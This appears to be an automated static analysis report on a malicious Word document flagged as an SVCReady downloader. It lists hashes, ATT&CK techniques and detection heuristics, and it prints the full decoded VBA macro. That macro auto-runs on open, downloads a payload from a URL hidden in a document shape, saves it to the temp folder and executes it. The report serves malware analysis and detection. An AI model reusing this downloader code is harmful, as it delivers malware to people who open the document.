Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0642b8b82c8b1949…

MALICIOUS

Office (OOXML)

111.4 KB Created: 2020-08-06 11:01:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 348b012e996bb2359d9fade51c484315 SHA-1: 59c8c3352b235c21325a022eb723bab4950c48c8 SHA-256: 0642b8b82c8b1949da4dc684b6f75a180e942673ac9428383a39c3a9ef10e1ca
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1071.001 Web Protocols T1204.002 Malicious File

The sample contains VBA macros that execute an AutoOpen subroutine. This subroutine uses WScript.Shell and MSXML2.XMLHTTP60 to download content from a URL, reconstruct it, and save it as a theme file in the temporary directory. The script then attempts to execute this downloaded file, indicating a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function c28a6900(ed78e018)
Set e21f521f = CreateObject("wscript.shell")
Call e21f521f.exec(ed78e018)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function c28a6900(ed78e018)
Set e21f521f = CreateObject("wscript.shell")
Call e21f521f.exec(ed78e018)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "d8c7521e"
Sub AutoOpen()
Dim ecd222ab As New c02b5a72
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function f0d590cc()
f0d590cc = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: f2913640ea380562331a05f3e044d6638a480f4662b8e637fbd3af360510cdd6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "d8c7521e"
Sub AutoOpen()
Dim ecd222ab As New c02b5a72
Dim f676742b As String
f676742b = d64312bb(ActiveDocument.Shapes(1).AlternativeText)
f0032c5f = ecd222ab.f39e930a(f676742b)
c58ef423 f0d590cc, f0032c5f
e6bcc95e = ecd222ab.c28a6900(dfa97e5d & " " & f0d590cc)
End Sub

Attribute VB_Name = "fd09416b"
Sub c58ef423(e6a45c03, fa26dbba)
Dim d65d9eb2
d65d9eb2 = FreeFile
Open e6a45c03 For Output As #d65d9eb2
Print #d65d9eb2, ddbd8236(fa26dbba)
Close #d65d9eb2
End Sub
Function f0d590cc()
f0d590cc = Environ("temp") & "\main.theme"
End Function
Function d64312bb(c054e43d)
'd64312bb = StrReverse(c054e43d)
d64312bb = c054e43d
End Function
Sub c0f400b6()
End Sub
Function ddbd8236(fa26dbba)
ddbd8236 = StrConv(fa26dbba, 64)
End Function
Function dfa97e5d()
dfa97e5d = d64312bb(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "c02b5a72"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function f39e930a(b6bb6b7b)
Dim c48f6adb As Object
Set c48f6adb = New MSXML2.XMLHTTP60
aaa = c48f6adb.Open("GET", b6bb6b7b, False)
c48f6adb.Send
f39e930a = c48f6adb.responsebody
End Function
Function c28a6900(ed78e018)
Set e21f521f = CreateObject("wscript.shell")
Call e21f521f.exec(ed78e018)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: f1ef9c944d84492fe3a9184d25881288d6fe0510a2f09ff35a0e453f6b044088

Open this report in the interactive analyzer, or submit your own file for analysis.